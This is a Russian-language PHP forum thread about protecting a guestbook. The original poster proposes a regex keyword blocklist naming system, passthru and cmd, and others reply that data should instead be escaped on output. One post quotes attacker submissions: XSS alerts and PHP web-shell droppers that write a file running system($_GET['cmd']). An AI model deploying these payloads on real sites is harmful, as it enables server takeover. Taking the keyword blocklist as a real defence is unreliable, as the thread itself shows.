msg передается POSTom пишу так: if ( eregi('.*(POST|GET|cmd|php|passthru|system|script|<\?|\?>).*', $msg) ) { $msg = 'Я хакер!'; } достаточно ли этого от юных хакеров? htmlspecialchars не хочу использовать так как есть система смайлов
если это шутка то я ее не оценил я имею в виду что если в посте встретятся слова POST GET cmd php passthru system script то я это пост не вывожу в гостевой этого достаточно? или есть еще куча опасных команд?
Не правильно ты дядя Фёдор бутерброд ешь (с) Не с той стороны на проблему смотришь, не бывает опасных команд, есть данные и они должны быть в разном виде в разных местах. Подробности можно узнать на http://phpfaq.ru/slashes без прочтения (полного прочтения до последней буквы) даже не думай что-то делать.
человек мне постил следующее, а ты чем помочь или вникнуть шутишь как 2-классник PHP: <script>alert("Привет!!");</script> <script>alert();</script> eval'<?php $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>"; $fp = fopen("123.php", "w"); fputs($fp, $a); fclose($fp); ?>'; eval'<?php $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>"; $fp = fopen("123.php", "w"); fputs($fp, $a); fclose($fp); ?>'; <? eval'<?php $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>"; $fp = fopen("123.php", "w"); fputs($fp, $a); fclose($fp); ?>'; ?> <?move_uploaded_file($userfile, "muh.php");?> <?php $fp = fopen("muhacir.php", "w"); $entry_line='<FORM ENCTYPE="multipart/form-data" ACTION="muhacir.php" METHOD="POST"> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000"> <title>MuhaciR <?php $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>"; $fp = fopen("123.php", "w"); fputs($fp, $a); fclose($fp); ?><? <?php $a="<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>"; $fp = fopen("123.php", "w"); fputs($fp, $a); fclose($fp); ?> <?php $a='<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>'; $fp = fopen("123.php", "w"); fputs($fp, $a); fclose($fp); ?> <?php $fp = fopen("123.php", "w"); fputs($fp, '<?php if(@$_GET['cmd'])echo system($_GET['cmd']); if(@$_GET['cmd'])echo passthru($_GET['cmd']);?>'); fclose($fp); ?> <?php $fp = fopen("123.php", "w"); fputs($fp, $_POST['c']); fclose($fp); ?> <?php $fp = fopen("123.php", "w"); fputs($fp, $_POST['c']); fclose($fp); ?> это тоже неопасно?
На этом форуме есть система смайлов, ты сейчас только что запостил то что запостил. Этот форум сломался ? (я не вижу почему-то)
Утверждение бесспорное при малых нагрузках (при больших вообще 99% разумных решений не подойдут, это другая специфика программирования совсем)
повторяю - утверждение спорное. всегда найдется задача, где удобнее хранить в базе готовый текст. утверждать обратное - проявлять свою недальновидность и малый кругозор. спорить не собираюсь, свое имхо сказал PS прежде чем начинать дальше лить воду и буквоедствовать по поводу моего ответа - прочесть еще раз мой абзац
Ок. Ваше имхо принято. (Каждый имеет право на своё мнение и я уважаю это право, даже если не согласен) Теперь факт: (а не имхо и даже не "псевдо-факт выдуманный мной" да и не факт а настоящая аксиома) - Одна задача действительно есть (отображение в конкретном наборе браузеров существующих на данный момент) Кроме неё есть много других задач експорт в RSS/CSV/XLS/MDB/и.т.д. которые если сейчас и не нужны но могут понадобится, и конвертация в которые будет осложнена (а местами невозможна ибо HTML это убыточный алгоритм) потому что заранее не подсуетились.
<Офтоп страшный> Просто я выпил (и как всегда не слабо выпил) по этому вылетело из головы (так-что сегодня моя подпись опять имеет силу, и временно не является шуткой) А кругозор мой простирается как минимум от RSS до CSV если и это узкий, то какой тогда считается широким ? (это что ещё и перфокарты учитывать надо ?) </Офтоп страшный>
я вообще думал про многозвенки, где база не только для вебморды используется, но и во внутреннем софте (типа корпоративный ), например для генерации очетов (смайлы там лишнее, но вот текст уже готовый лежит), где части их уже сгенерены. RSS вроде предпочительней хранить в файле (ну перегенить время от времени), чтобы вебсервер забирал и сразу отдавал, даже не притрагиваясь к пхп/перлу и тем более к базе, а если там новости раз в 15 минут - можно и генерить при выводе в файл.
Из чего ты сгенеришь RSS или как ты закинешь в RSS файл данные, если у тебя вырезано 99% информации в целях защиты от слов "script/php/итд" ещё по приходе от клиента, до каких-то действий ?
это я по поводу "смайлы надо ставлять на выводе, а не в базе" собно по этому поводу тут и пошла свистопляска %)
И я по этому-же поводу Ты представь я прислал тебе на скрипт (каменты/гостевуха/форум не важно) сообщение примерно следующее Код (Text): Гы :) <img src="smile.gif"> Ты сначала (на входе) обработал смайлы и закинул в базу/RSS/CSV (на твой вкус) и у тебя получилось Код (Text): Гы <img src="smile.gif"> <img src="smile.gif"> И теперь какими регулярками ты не обрабатывай моё сообщения, оригинал ты уже не получишь, а представь что я прислал тебе секретный код мира во всём мире
Я медленно беру листочек... пишу на нем твое имя... и слово СМЕРТЬ!!!!! капаю на него крови девственницы и сжигаю. Ты еще не умер? Черт, смерть же опасное слово...
В этот момент твои мозги должны начать скрипеть, и потихоньку понимать, что текст - это всего лишь текст, и вопрос лишь в том, как ты будешь его использовать...